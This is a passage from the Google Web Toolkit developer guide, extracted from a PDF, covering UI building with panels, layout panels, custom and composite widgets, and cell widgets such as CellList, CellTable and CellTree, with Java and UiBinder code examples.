/** * Generator for producing the asynchronous version of a * {@link com.google.gwt.user.client.rpc.RemoteService RemoteService} interface. */ public class ServiceInterfaceProxyGenerator extends Generator { /** * Generate a default constructible subclass of the requested type. The * generator throws <code>UnableToCompleteException</code> if for any reason * it cannot provide a substitute class * * @return the name of a subclass to substitute for the requested class, or * return <code>null</code> to cause the requested type itself to be * used * */ public String generate(TreeLogger logger, GeneratorContext ctx, String requestedClass) throws UnableToCompleteException { TypeOracle typeOracle = ctx.getTypeOracle(); assert (typeOracle != null); JClassType remoteService = typeOracle.findType(requestedClass); if (remoteService == null) { logger.log(TreeLogger.ERROR, "Unable to find metadata for type '" + requestedClass + "'", null); throw new UnableToCompleteException(); } if (remoteService.isInterface() == null) { logger.log(TreeLogger.ERROR, remoteService.getQualifiedSourceName() + " is not an interface", null); throw new UnableToCompleteException(); } ProxyCreator proxyCreator = new ProxyCreator(remoteService); TreeLogger proxyLogger = logger.branch(TreeLogger.DEBUG, "Generating client proxy for remote service interface '" + remoteService.getQualifiedSourceName() + "'", null); return proxyCreator.create(proxyLogger, ctx); } }

The typeOracle is an object that contains information about the Java code that has already been parsed that the generator may need to consult. In this case, the generate() method checks it arguments and the passes off the bulk of the work to another class (ProxyCreator).

216 / 469

4.4.

Build User Interfaces (2.1, 2.2)

GWT user interface classes are similar to those in existing UI frameworks such as Swing and SWT except that the widgets are rendered using dynamically-created HTML rather than pixel-oriented graphics. In traditional JavaScript programming, dynamic user interface creation is done by manipulating the browser's DOM. While GWT provides access to the browser's DOM directly using the DOM package, it is far easier to use classes from the Widget hierarchy. The Widget classes make it easier to quickly build interfaces that will work correctly on all browsers. Note: Use GWT Designer, a powerful and easy-to-use bi-directional Java GUI designer, to easily create GWT GUI applications without spending a lot of time writing code. 1. Cross-Browser Support – Use widgets and composites for cross-browser compatibility 2. Layout Using Panels – Explore the various panels available for layout 3. Widgets – Create user controls with widgets 4. Creating Custom Widgets – Create new widgets, composite widgets, or native JavaScript widgets 5. Cell Widgets New 2.1 – Work with widgets, panels, the DOM, events, CSS, declarative UI and images. 6. Editors New 2.1 – Allows data stored in an object graph to be mapped onto a graph of Editors. 7. Working with the DOM – When necessary, manipulate the browser's DOM directly 8. Events and Handlers – Handle events published by widgets 9. Working with CSS – Style widgets with cascading style sheets 10. Declarative UI with UiBinder – Build widget and DOM structures from XML markup 11. Bundling Image Resources – Optimize image loading by reducing the number of HTTP requests for images

4.4.1.

Cross-Browser Support

GWT shields you from worrying too much about cross-browser incompatibilities. If you stick to built-in widgets and composites, your applications will work similarly on the most recent versions of Internet Explorer, Firefox, Chrome, and Safari. (Opera, too, most of the time.) DHTML user interfaces are remarkably quirky, though, so make sure to test your applications thoroughly on every browser. Whenever possible, GWT defers to browsers' native user interface elements. For example, GWT's Button widget is a true HTML <button> rather than a synthetic button-like widget built, say, from a <div>. That means that GWT buttons render appropriately in different browsers and on different client operating systems. We like the native browser controls because they're fast, accessible, and most familiar to users. When it comes to styling web applications, CSS is ideal. So, instead of attempting to encapsulate UI styling behind a wall of least-common-denominator APIs, GWT provides very few methods directly related to style. Rather, developers are encouraged to define styles in stylesheets that are linked to application code using style names. In addition to cleanly separating style from application logic, this division of labor helps applications load and render more quickly, consume less memory, and even makes them easier to tweak during edit/debug cycles since there's no need to recompile for style tweaks. Tip: If you find a need to implement a browser specific dependency, you can use a JSNI method to retrieve the browser' UserAgent string.

public static native String getUserAgent() /*-{ return navigator.userAgent.toLowerCase(); }-*/

217 / 469

4.4.2.
1. 2. 3. 4. 5. 6. 7.

Layout Using Panels

Basic Panels Layout Panels Animation RequiresResize and ProvidesResize Moving to Standards Mode Design of the GWT 2.0 layout system Recipes

Panels in GWT are much like their layout counterparts in other user interface libraries. The main difference is that GWT panels use HTML elements to lay out their child widgets. Panels contain widgets and other panels. They are used to define the layout of the user interface in the browser.

4.4.2.1.
RootPanel

Basic Panels

A RootPanel is the top-most panel to which all other widgets are ultimately attached. RootPanel.get() gets a singleton panel that wraps the HTML document's <body> element. Use RootPanel.get(String id) to get a panel for any other element on the page.

FlowPanel
A FlowPanel is the simplest panel. It creates a single <div> element and attaches children directly to it without modification. Use it in cases where you want the natural HTML flow to determine the layout of child widgets.

HTMLPanel
This panel provides a simple way to define an HTML structure, within which widgets will be embedded at defined points. While you may use it directly, it is most commonly used in UiBinder templates.

FormPanel
When you need to reproduce the behavior of an HTML form (e.g., for interacting with servers that expect form POST requests, or simply to get the default form keyboard behavior in the browser), you can use a FormPanel. Any widgets wrapped by this panel will be wrapped in a <form> element.

ScrollPanel
When you wish to create a scrollable area within another panel, you should use a ScrollPanel. This panel works well in layout panels (see below), which provide it with the explicit size it needs to scroll properly.

PopupPanel and DialogBox
Use these two panels to create simple popups and modal dialogs. They overlap existing content in browser window, and can be stacked over one-another.

Grid and FlexTable
These two widgets are used to create traditional HTML <table> elements, and can also be used as panels, in that arbitrary widgets may be added to their cells.

4.4.2.2.

Layout Panels

GWT 2.0 introduces a number of new panels, which together form a stable basis for fast and predictable application-level layout. For background and details, see "Design of the GWT 2.0 layout system" below. The bulk of the layout system is embodied in a series of panel widgets. Each of these widgets uses the underlying layout system to position its children in a dependable manner. 218 / 469

RootLayoutPanel
This panel is a singleton that serves as a root container to which all other layout panels should be attached (see RequiresResize and ProvidesResize below for details). It extends LayoutPanel, and thus you can position any number of children with arbitrary constraints. You most commonly use RootLayoutPanel as a container for another panel, as in the following snippet, which causes a DockLayoutPanel to fill the browser's client area:
DockLayoutPanel appPanel = new DockLayoutPanel(Unit.EM); RootLayoutPanel.get().add(appPanel);

LayoutPanel
Think of LayoutPanel as the most general layout mechanism, and often one upon which other layouts are built. Its closest analog is AbsolutePanel, but it is significantly more general in that it allows its children to be positioned using arbitrary constraints, as in the following example:
Widget child0, child1, child2; LayoutPanel p = new LayoutPanel(); p.add(child0); p.add(child1); p.add(child2); p.setWidgetLeftWidth(child0, 0, PCT, 50, PCT); // Left panel p.setWidgetRightWidth(child1, 0, PCT, 50, PCT); // Right panel p.setWidgetLeftRight(child2, 5, EM, 5, EM); // Center panel p.setWidgetTopBottom(child2, 5, EM, 5, EM);

DockLayoutPanel
DockLayoutPanel serves the same purpose as the existing DockPanel widget, except that it uses the layout system to achieve this structure without using tables, and in a predictable manner. You would often use to build application-level structure, as in the following example:
DockLayoutPanel p = new DockLayoutPanel(Unit.EM); p.addNorth(new HTML("header"), 2); p.addSouth(new HTML("footer"), 2); p.addWest(new HTML("navigation"), 10); p.add(new HTML(content));

Note that DockLayoutPanel requires the use of consistent units for all children, specified in the constructor. It also requires that the size of each child widget (except the last, which consumes all remaining space) be specified explicitly along its primary axis.

SplitLayoutPanel
The SplitLayoutPanel is identical to the DockLayoutPanel (and indeed extends it), except that it automatically creates a user-draggable splitter between each pair of child widgets. It also supports only the use of pixel units. Use this instead of HorizontalSplitPanel and VerticalSplitPanel.

219 / 469

SplitLayoutPanel p = new SplitLayoutPanel(); p.addWest(new HTML("navigation"), 128); p.addNorth(new HTML("list"), 384); p.add(new HTML("details"));

StackLayoutPanel
StackLayoutPanel replaces the existing StackPanel (which does not work very well in standards mode). It displays one child widget at a time, each of which is associated with a single "header" widget. Clicking on a header widget shows its associated child widget.

StackLayoutPanel p = new StackLayoutPanel(Unit.EM); p.add(new HTML("this content"), new HTML("this"), 4); p.add(new HTML("that content"), new HTML("that"), 4); p.add(new HTML("the other content"), new HTML("the other"), 4);

Note that, as with DockLayoutPanel, only a single unit type may be used on a given panel. The length value provided to the add() method specifies the size of the header widget, which must be of a fixed size.

220 / 469

TabLayoutPanel
As with the existing TabPanel, TabLayoutPanel displays a row of clickable tabs. Each tab is associated with another child widget, which is shown when a user clicks on the tab.
TabLayoutPanel p = new TabLayoutPanel(1.5, Unit.EM); p.add(new HTML("this content"), "this"); p.add(new HTML("that content"), "that"); p.add(new HTML("the other content"), "the other");

The length value provided to the TabLayoutPanel constructor specifies the height of the tab bar, which you must explicitly provide.

When should I not use layout panels?
The panels described above are best used for defining your application's outer structure — that is, the parts that are the least "document-like". You should continue to use basic widgets and HTML structure for those parts for which the HTML/CSS layout algorithm works well. In particular, consider using UiBinder templates to directly use HTML wherever that makes sense.

4.4.2.3.

Animation

The GWT 2.0 layout system has direct, built-in support for animation. This is necessary to support a number of usecases, because the layout system must properly handle animation among sets of layout constraints. Panels that implement AnimatedLayout, such as LayoutPanel, DockLayoutPanel, and SplitLayoutPanel, can animate their child widgets from one set of constraints to another. Typically this is done by setting up the state towards which you wish to animate, then calling animate(). See "Recipes" below for specific examples.

4.4.2.4.

RequiresResize and ProvidesResize

Two new characteristic interfaces were introduced in GWT 2.0: RequiresResize and ProvidesResize. These are used to propagate notification of resize events throughout the widget hierarchy. RequiresResize provides a single method, onResize(), which is called by the widget's parent whenever the child's size has changed. ProvidesResize is simply a tag interface indicating that a parent widget will honor this contract. The purpose of these two interfaces is to form an unbroken hierarchy between all widgets that implement RequiresResize and the RootLayoutPanel, which listens for any changes (such as the browser window resizing) that could affect the size of widgets in the hierarchy.

When to use onResize()
Most widgets should not need to know when they've been resized, as the browser's layout engine should be doing most of the work. However, there are times when a widget does need to know. This comes up, for example, when a widget contains a dynamic list of items depending upon how much room is available to display them. Because it's almost always faster to let the layout engine do its work than to run code, you should not lean upon onResize() unless you have no alternative. 221 / 469

When and how to implement ProvidesResize
A panel that implements ProvidesResize is expected to propagate resize events to any of its child widgets that implement RequiresResize. For a canonical example of this, see the implementation of LayoutPanel.onResize(). Most custom widgets will want to composite an existing layout panel using ResizeComposite, however, as described next.

ResizeComposite
When creating a custom Composite widget that wrap a widget that implements RequiresResize, you should use ResizeComposite as its base class. This subclass of Composite automatically propagates resize events to its wrapped widget.

4.4.2.5.

Moving to Standards Mode

The GWT 2.0 layout system is intended to work only in "standards mode". This means that you should always place the following declaration at the top of your HTML pages: <!DOCTYPE html>

What won't work in standards mode?
As mentioned above, some of the existing GWT panels do not behave entirely as expected in standards mode. This stems primarily from differences between the way standards and quirks modes render tables.

CellPanel (HorizontalPanel, VerticalPanel, DockPanel)
These panels all use table cells as their basic structural units. While they still work in standards mode, they will lay out their children somewhat differently. The main difference is that their children will not respect width and height properties (it is common to set children of CellPanels explicitly to 100% width and height). There are also differences in the way that the browser allocates space to individual table rows and columns that can lead to unexpected behavior in standards mode. You should use DockLayoutPanel in place of DockPanel. VerticalPanel can usually be replaced by a simple FlowPanel (since block-level elements will naturally stack up vertically). HorizontalPanel is a bit trickier. In some cases, you can simply replace it with a DockLayoutPanel, but that requires that you specify its childrens' widths explicitly. The most common alternative is to use FlowPanel, and to use the float: left; CSS property on its children. And of course, you can continue to use HorizontalPanel itself, as long as you take the caveats above into account.

StackPanel
StackPanels do not work very well in standards mode. Because of the differences in table rendering mentioned above, StackPanel will almost certainly not do what you expect in standards mode, and you should replace them with StackLayoutPanel.

SplitPanel (HorizontalSplitPanel and VerticalSplitPanel)
SplitPanels are very unpredictable in standards mode, and you should almost invariably replace them with SplitLayoutPanel.

4.4.2.6.

Design of the GWT 2.0 layout system

Prior to 2.0, GWT's mechanisms for handling application-level layout have a number of significant problems: • • They're unpredictable. They often require extra code to fix up their deficiencies: • For example, causing an application to fill the browser's client area with interior scrolling is nearly impossible without extra code. They don't all work well in standards mode.

Their underlying motivation was sound — the intention was to let the browser's native layout engine do almost all of the work. But the above deficiencies can be crippling.

222 / 469

Goals
• Perfectly predictable layout behavior. Precision layout should be possible. • It should also work in the presence of CSS decorations (border, margin, and padding) with arbitrary units. Work correctly in standards-mode. Get the browser to do almost all of the work in its layout engine. • Manual adjustments should occur only when strictly necessary. Smooth, automatic animation.

• • •

Non-Goals
• • • Work in quirks-mode. Swing-style layout based on "preferred size". This is effectively intractable in the browser. Take over all layout. This design is intended to handle coarse-grained "desktop-like" layout. The individual bits and pieces, such as form elements, buttons, tables, and text should still be laid out naturally.

The Layout class
The Layout class contains all the underlying logic used by the layout system, along with all the implementation details used to normalize layout behavior on various browsers. It is actually widget-agnostic, operating directly on DOM elements. Most applications will have no reason to work directly with this class, but it should prove useful to alternate widget library writers.

Constraint-based Layout
The GWT 2.0 layout system is built upon the simple constraint system that exists natively in CSS. This uses the properties left, top, width, height, right, and bottom. While most developers are familiar with these properties, it is less well-known that they can be combined in various ways to form a simple constraint system. Take the following CSS example:
.parent { position: relative; /* to establish positioning context */ } .child { position: absolute; left:1em; top:1em; right:1em; bottom:1em; }

In this example, the child will automatically consume the parent's entire space, minus 1em of space around the edge. Any two of these properties (on each axis) forms a valid constraint pair (three would be degenerate), producing lots of interesting possibilities. This is especially true when you consider various mixtures of relative units, such as "em" and "%".

4.4.2.7.

Recipes

The following are a series of simple "recipes" for creating various structures and dealing with different scenarios. Where possible, we'll describe the layout in terms of UiBinder templates.

Basic application layout
The following sample shows a simple application-style layout with a header, a navigation area on the left edge, and a scrollable content area.

223 / 469

<g:DockLayoutPanel unit='EM'> <g:north size='4'> <g:Label>Header</g:Label> </g:north> <g:west size='16'> <g:Label>Navigation</g:Label> </g:west> <g:center> <g:ScrollPanel> <g:Label>Content Area</g:Label> </g:ScrollPanel> </g:center> </g:DockLayoutPanel>

You must place this structure in a container that implements ProvidesResize, which is most commonly RootLayoutPanel. The following code demonstrates how to do this:
interface Binder extends UiBinder<Widget, BasicApp> { } private static final Binder binder = GWT.create(Binder.class); public void onModuleLoad() { RootLayoutPanel.get().add(binder.createAndBindUi()); }

Splitters
SplitLayoutPanel works much like DockLayoutPanel, except that it only supports pixel units. The basic application structure above can be given a splitter between the navigation and content areas like so:
<g:DockLayoutPanel unit='EM'> <g:north size='4'> <g:Label>Header</g:Label> </g:north> <g:center> <g:SplitLayoutPanel> <g:west size='128'> <g:Label>Navigation</g:Label> </g:west> <g:center> <g:ScrollPanel> <g:Label>Content Area</g:Label> </g:ScrollPanel> </g:center> </g:SplitLayoutPanel> </g:center> </g:DockLayoutPanel>

Note how we mix the dock and split panels, so that the header's size can be specified in EM units.

Layout animation
To use animation with a LayoutPanel, you must first create an initial set of constraints, then animate to a target set of constraints. In the following example, we start with a child widget positioned at the top, but with no height so that it is effectively hidden. Calling LayoutPanel.forceLayout() "fixes" the initial constraints.
panel.setWidgetTopHeight(child, 0, PX, 0, PX); panel.forceLayout();

Now we give the widget a height of 2em and explicitly call LayoutPanel.animate(int) to cause it to resize over 500 ms.
panel.setWidgetTopHeight(child, 0, PX, 2, EM); panel.animate(500);

This will work with any constraints and any number of children.

224 / 469

Implementing a Composite that RequiresResize
Widgets that implement RequiresResize expect RequiresResize.onResize() to be called whenever the widget's size changes. If you are wrapping such a widget in a Composite, you'll need to use ResizeComposite instead to ensure that this call is propagated correctly, like so:
class MyWidget extends ResizeComposite { private LayoutPanel p = new LayoutPanel(); public MyWidget() { initWidget(p); } }

Child widget visibility
The Layout class has to wrap each of its child elements in a "container" element in order to work properly. One implication of this is that, when you call UIObject.setVisible(boolean) on a widget within a LayoutPanel, it won't behave quite as expected: the widget will indeed be made invisible, but it will tend to consume mouse events (actually, it's the container element that is doing so). To work around this, you can get the container element directly using LayoutPanel.getWidgetContainerElement(Widget), and set its visibility directly:
LayoutPanel panel = ...; Widget child; panel.add(child); UIObject.setVisible(panel.getWidgetContainerElement(child), false);

Using a LayoutPanel without RootLayoutPanel
In most cases you should use layout panels by attaching them to a RootLayoutPanel, either directly or via other panels that implement ProvidesResize. There are, however, instances where you need to use a layout panel within a normal widget (e.g., FlowPanel or RootPanel). In these cases, you will need to set the panel's size explicitly, as in the following example:
LayoutPanel panel = new LayoutPanel(); RootPanel.get("someId").add(panel); panel.setSize("20em", "10em");

Note that RootLayoutPanel provides no mechanism for wrapping an arbitrary element like RootPanel does. This is because it is impossible to know when an arbitrary element has been resized by the browser. If you want to resize a layout panel in an arbitrary element, you must do so manually. This also applies to layout panels used in PopupPanel and DialogBox. The following example shows the use of a SplitLayoutPanel in a DialogBox:
SplitLayoutPanel split = new SplitLayoutPanel(); split.addWest(new HTML("west"), 128); split.add(new HTML("center")); split.setSize("20em", "10em"); DialogBox dialog = new DialogBox(); dialog.setText("caption"); dialog.add(split); dialog.show();

Tables and Frames
Widgets that are implemented using <table> or <frame> elements do not automatically fill the space provided by the layout. In order to fix this, you will need to explicitly set these widgets width and height to 100%. The following example shows this with a RichTextArea, which is implemented using an <iframe> element.

225 / 469

<g:DockLayoutPanel unit='EM'> <g:north size='2'> <g:HTML>Header</g:HTML> </g:north> <g:south size='2'> <g:HTML>Footer</g:HTML> </g:south> <g:center> <g:RichTextArea width='100%' height='100%'/> </g:center> </g:DockLayoutPanel>

4.4.3.

Widgets

You construct user interfaces in GWT applications using widgets that are contained within panels. Widgets allow you to interact with the user. Panels control the placement of user interface elements on the page. Widgets and panels work the same way on all browsers; by using them, you eliminate the need to write specialized code for each browser.

Widgets
Widgets define your applications input and output with the user. Examples of widgets include the following: • Button A user clicks the mouse button to activate the button.

TextBox The application can display text and the user can type in the text box.

Tree A collapsible hierarchy of widgets.

RichTextArea A text editor that allows users to apply rich formatting of the text.

226 / 469

For the complete list of GWT UI elements, see Widget Gallery. You are not limited to the set of widgets provided by GWT. There are a number of ways to create custom widgets: • • • You can bundle together existing widgets and create a Composite widget. You can write GWT bindings to an existing JavaScript widget. You can create your own widget from scratch using either Java or JavaScript.

You can also use one or more of the many third party widget libraries written for GWT.

Styles
Visual styles are applied to widgets using Cascading Style Sheets (CSS). Besides the default browser supplied definitions, each GWT widget and panel has pre-defined style sheet class definitions documented in the class reference documentation.

See Also
• • Creating Custom Widgets Discussion of how to create your own widgets in GWT. Layout Using Panels Examples of how to use panels.

4.4.4.
• • •

Creating Custom Widgets

GWT makes it easy to create custom user interface elements. There are three general strategies to follow: Create a widget that is a composite of existing widgets. Create an entirely new widget written in the Java language. Create a widget that wraps JavaScript using JSNI methods.

There are numerous third party libraries that provide widgets you can integrate into your GWT module that were created using the strategies listed above.

Building Composites
The most effective way to create new widgets is to extend the Composite class. A composite is a specialized widget that can contain another component (typically, a Panel) but behaves as if it were its contained widget. You can easily combine groups of existing widgets into a composite that is itself a reusable widget. Some of the UI components provided in GWT are composites: for example, the TabPanel (a composite of a TabBar and a DeckPanel) and the SuggestBox. Rather than create complex widgets by subclassing Panel or another Widget type, it's better to create a composite because a composite usually wants to control which methods are publicly accessible without exposing those methods that it would inherit from its Panel superclass.

Example Composite Widget
The following code snippet shows how to create a composite widget composed of a TextBox widget and a CheckBox widget laid out in a VerticalPanel.

227 / 469

package com.google.gwt.examples; import com.google.gwt.core.client.EntryPoint; import com.google.gwt.event.dom.client.ClickHandler; import com.google.gwt.user.client.ui.CheckBox; import com.google.gwt.user.client.ui.Composite; import com.google.gwt.user.client.ui.RootPanel; import com.google.gwt.user.client.ui.TextBox; import com.google.gwt.user.client.ui.VerticalPanel; import com.google.gwt.user.client.ui.Widget; public class CompositeExample implements EntryPoint { /** * A composite of a TextBox and a CheckBox that optionally enables it. */ private static class OptionalTextBox extends Composite implements ClickHandler { private TextBox textBox = new TextBox(); private CheckBox checkBox = new CheckBox(); /** * Constructs an OptionalTextBox with the given caption on the check. * * @param caption the caption to be displayed with the check box */ public OptionalTextBox(String caption) { // Place the check above the text box using a vertical panel. VerticalPanel panel = new VerticalPanel(); panel.add(checkBox); panel.add(textBox); // Set the check box's caption, and check it by default. checkBox.setText(caption); checkBox.setChecked(true); checkBox.addClickHandler(this); // All composites must call initWidget() in their constructors. initWidget(panel); // Give the overall composite a style name. setStyleName("example-OptionalCheckBox"); } public void onClick(ClickEvent event) { Object sender = event.getSource(); if (sender == checkBox) { // When the check box is clicked, update the text box's enabled state. textBox.setEnabled(checkBox.isChecked()); } } /** * Sets the caption associated with the check box. * * @param caption the check box's caption */ public void setCaption(String caption) { // Note how we use the use composition of the contained widgets to provide // only the methods that we want to. checkBox.setText(caption); } /** * Gets the caption associated with the check box. * * @return the check box's caption */ public String getCaption() { return checkBox.getText(); } } public void onModuleLoad() { // Create an optional text box and add it to the root panel. OptionalTextBox otb = new OptionalTextBox("Check this to enable me"); RootPanel.get().add(otb); }

}

228 / 469

From Scratch in Java Code
It is also possible to create a widget from scratch, although it is trickier since you have to write code at a lower level. Many of the basic widgets are written this way, such as Button and TextBox. Please refer to the implementations of these widgets to understand how to create your own. To understand how to create your own, refer to the implementations of these widgets in the com.google.gwt.user.client.ui package. The source code is in gwt-user.jar.

Using JavaScript
When implementing a custom widget that derives directly from the Widget base class, you may also write some of the widget's methods using JavaScript. This should generally only be done as a last resort, as it becomes necessary to consider the cross-browser implications of the native methods that you write, and also becomes more difficult to debug. For an example of this pattern in practice, see the TextBox widget and the underlying JavaScript implementation of some of its methods in the TextBoxImpl class. You should use deferred binding to isolate browser specific code.

4.4.5.

Cell Widgets (2.1)

Cell widgets (data presentation widgets) are high-performance, lightweight widgets composed of Cells for displaying data. Examples are lists, tables, trees and browsers. These widgets are designed to handle and display very large sets of data quickly. A cell widget renders its user interface as an HTML string, using innerHTML instead of traditional DOM manipulation. This design follows the flyweight pattern where data is accessed and cached only as needed, and passed to flyweight Cell objects. A cell widget can accept data from any type of data source. The data model handles asynchronous updates as well as push updates. When you change the data, the view is automatically updated. Cells are the basic blocks of a user interface and come in a variety of available cell types. They render views of data, interpret browser events and can be selected. A Cell has a type based on the data that the cell represents; for example, DatePickerCell is a Cell<Date> that represents a Date and allows the user to select a new Date. Cells must implement a render method that renders the typed value as an HTML string. In addition, cells can override onBrowserEvent to act as a flyweight that handles events that are fired on elements that were rendered by the cell. For example, in the CellList example of the Showcase, every selectable data record is rendered by a single Cell instance. Notice that the data that a single cell represents can be a composition of different data fields from the data source. In this example, the cell holds data of type ContactInfo, which represents a contact, including name, address and picture. In the CellTable example, a different Cell is used to render each Column of a row. The five columns in this example present data from a boolean and four strings. 1. Cell Widgets 1. Demos and Code Examples 2. Creating a CellList and Setting Data 3. Creating a CellTable 4. Creating a CellTree 5. Creating a CellBrowser 1. Cells 1. Available Cell Types 2. Creating a Custom Cell 1. Selection, Data and Paging 1. Adding Selection Support 2. Providing Dynamic Data 3. Adding Paging Controls 4. Updating a Database from Changes in a Cell Note: CellPanel is not a cell widget. CellPanel is an abstract base class for GWT Panel Widgets that are implemented using a table element.

229 / 469

4.4.5.1.

Cell Widgets

Demos and Code Examples
This document describes or points to three kinds of code examples, so you can jump in at any level. • Live demos - Visit the GWT Showcase for examples of widgets CellList, CellTable, CellTree, CellBrowser, plus examples of Cells in the Cell Sampler. Note: The prefix "Cw" in showcase class names stands for "ContentWidget", the parent class of each Showcase example. Simplified examples - The code examples displayed in-line throughout this documented are short, simplified examples, often pared-down versions of the real-world examples. Real-world examples - Most of the cell widgets also have source code examples (.java files) at cell widget code examples.

• •

These files are referenced, where appropriate, in the sections below.

Creating a CellList and Setting Data
CellList is the simplest cell widget, where data is rendered using cells of the same type in a list. For instance, you can create a CellList<String> that uses a Cell<String> to render a list of Strings. For a fancier list view, you can create a custom cell, described at Creating a Custom Cell. Demo - CwCellList example shows a CellList<ContactInfo> (on the left). Each list item is a custom type ContactCell<ContactInfo>. The right-hand widget is a normal Composite widget that renders the data for a selected contact. To Create a CellList: 1. 2. 3. 4. Create a standard or custom Cell to hold the list items. Create a CellList, passing the cell into its contructor. Access the data to populate the list. Call setRowData on the CellList to add the data.

The data inserted in the last step is updated by the data provider (ListDataProvider or AsyncDataProvider). If you need to allow the user to modify the content of a cell and update the database, use ValueUpdater instead of setRowData in the last step, as described in Updating a Database From a CellList. Code Example - The example below is available at CellListExample.java The following code is a very simple example that creates a CellList widget containing a single TextCell and sets data from the data source. The list shows names.
public class CellListExample implements EntryPoint { // The list of data to display. private static final List<String> DAYS = Arrays.asList("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"); public void onModuleLoad() { // Create a cell to render each value in the list. TextCell textCell = new TextCell(); // Create a CellList that uses the cell. CellList<String> cellList = new CellList<String>(textCell); // Set the total row count. This isn't strictly necessary, but it affects // paging calculations, so its good habit to keep the row count up to date. cellList.setRowCount(DAYS.size(), true); // Push the data into the widget. cellList.setRowData(0, DAYS); // Add it to the root panel. RootPanel.get().add(cellList); } }

You can add a SelectionModel to a CellList, as shown in the SelectionModel example below.

230 / 469

Creating a CellTable
CellTable renders row values in columns. A Column represents a single field in a data object. Every column defines getValue(), which retrieves the value for the column from the data object. Each column uses a Cell to render the columnspecific data. Note that columns can return whatever object they want for getValue(), including the row object itself (for example, to allow columns that show calculations based on several row values). A Header represents either a header or a footer in a table. A table can have a header and footer for each column. A Header can span multiple columns if adjacent headers are equal (==) to each other. Demo - CwCellTable example shows a CellTable<ContactInfo>. Each row item has 5 columns rendered respectively as a CheckboxCell, EditTextCell, EditTextCell, SelectionCell and TextCell. To Create a CellTable: 1. 2. 3. 4. 5. Create a standard or custom Cell for each column of data. Create a CellTable Create and add Columns to the CellTable. Access the data to populate the list. Add the data to the CellTable by calling setRowData on the CellTable for each Column.

The data inserted in the last step is updated by the data provider (ListDataProvider or AsyncDataProvider). If you need to allow the user to modify the content of a cell and update the database, use FieldUpdater instead of setRowData in the last step, as described in Updating a Database From a CellTable. More Information - Read the Cell Table Developer Guide for more information about CellTable-specific features, such as column sorting. Code Example - The example below is a pared-down version of CellTableExample.java
public class CellTableExample implements EntryPoint { // A simple data type that represents a contact. private static class Contact { private final String address; private final String name; public Contact(String name, String address) { this.name = name; this.address = address; } } // The list of data to display. private static List<Contact> CONTACTS = Arrays.asList( new Contact("John", "123 Fourth Road"), new Contact("Mary", "222 Lancer Lane")); public void onModuleLoad() { // Create a CellTable. CellTable<Contact> table = new CellTable<Contact>(); // Create name column. TextColumn<Contact> nameColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.name; } }; // Create address column. TextColumn<Contact> addressColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.address; } }; // Add the columns. table.addColumn(nameColumn, "Name"); table.addColumn(addressColumn, "Address"); // Set the total row count. This isn't strictly necessary, but it affects // paging calculations, so its good habit to keep the row count up to date. table.setRowCount(CONTACTS.size(), true); // Push the data into the widget. table.setRowData(0, CONTACTS); // Add it to the root panel. RootPanel.get().add(table); } }

231 / 469

You can add a SelectionModel to a CellTable, as shown in the SelectionModel example below.

Creating a CellTree
CellTree renders a hierarchy of nodes, such as this CwCellTree. A node can be either a leaf node or have children. Thus, a CellTree can have levels of nodes that go progressively deeper. A node is represented by a NodeInfo, which contains all of the information needed to render a single node. Each node has a Cell of a specific type; usually, all Cells at a given level are of the same type, but that isn't required. The example has a top level of nodes with each cell having an image and string. Likewise, the second and third levels of cells have their own distinct types. In addition to a cell, a node also has a DataProvider, to provide the data to the children of the NodeInfo, and a SelectionModel, to indicate how it can be selected by the user. The TreeViewModel provides the NodeInfo for each child node. When a node is opened, CellTree will call getNodeInfo() on TreeViewModel to get the NodeInfo used to render the children. A CellTree can have its own CSS styles and its own resources, such as images that the user clicks on to open or close a node. It can also respond to browser events. In addition, a CellTree can have built-in animation for progressively revealing or hiding children when its node opens or closes. Demo - CwCellTree example shows a CellTree. It has three levels rendered respectively as custom types CategoryCell, LetterCountCell and ContactCell (the same type from the CellList demo). The checkbox has an update method to select the ContactCell when checked. Creating a CellTree: 1. Define a TreeViewModel and getNodeInfo a. In getNodeInfo, create a data provider for the child nodes. b. Populate the data provider with data. c. Create a standard or custom Cell to render the children. 2. Create an instance of your TreeViewModel class. 3. Create a CellTree, passing in the TreeViewModel instance. Code Example #1 - The example below is a simplified example of CellTree, and is available at CellTreeExample.java. Code Example #2 - For a real-world example of CellTree, see CellTreeExample2.java.
/** * Example of {@link CellTree}. Shows a Tree consisting of strings. */ public class CellTreeExample implements EntryPoint { // The model that defines the nodes in the tree. private static class CustomTreeModel implements TreeViewModel { // Get the NodeInfo that provides the children of the specified value. public <T> NodeInfo<?> getNodeInfo(T value) { // Create some data in a data provider. Use the parent value as a prefix for the next level. ListDataProvider<String> dataProvider = new ListDataProvider<String>(); for (int i = 0; i < 2; i++) { dataProvider.getList().add(value + "." + String.valueOf(i)); } // Return a node info that pairs the data with a cell. return new DefaultNodeInfo<String>(dataProvider, new TextCell()); } // Check if the specified value represents a leaf node. Leaf nodes cannot be opened. public boolean isLeaf(Object value) { // The maximum length of a value is ten characters. return value.toString().length() > 10; } } public void onModuleLoad() { // Create a model for the tree. TreeViewModel model = new CustomTreeModel(); // Create the tree using the model. We specify the default value of the // hidden root node as "Item 1". CellTree tree = new CellTree(model, "Item 1"); // Add the tree to the root layout panel. RootLayoutPanel.get().add(tree); } }

When you instantiate a CellTree, you must pass in an instance of a concrete class that implements interface TreeViewModel. This concrete class gets and organizes the data into a hierarchy in the implementation of method 232 / 469

getNodeInfo(value). When a tree node is opened, the tree calls getNodeInfo(value) to get the data provider and Cell used to render the child nodes. You can add a SelectionModel to a CellTree, as shown in the SelectionModel example below.

Creating a CellBrowser
CellBrowser is similar to a CellTree but displays the node levels side-by-side. The only code difference is you use a CellBrowser constructor and use a different CellBrowser.Resources for CSS style (and images) to create side-by-side levels. Demo - CwCellBrowser example shows a CellBrowser. It displays the same data in the same three levels as the above CellTree example, except that it displays the levels side-by-side. To Create a CellBrowser • Follow the above procedure for CellTree, but change the CellTree constructor to CellBrowser, as follows:

// Create the browser using the model. CellBrowser browser = new CellBrowser(model, "Item 1");

Code Example #1 - For a simple example of CellBrowser, see CellBrowerExample.java. Code Example #2 - For a real-world example of CellBrowser, see CellBrowserExample2.java.

4.4.5.2.

Cells

Available Cell Types
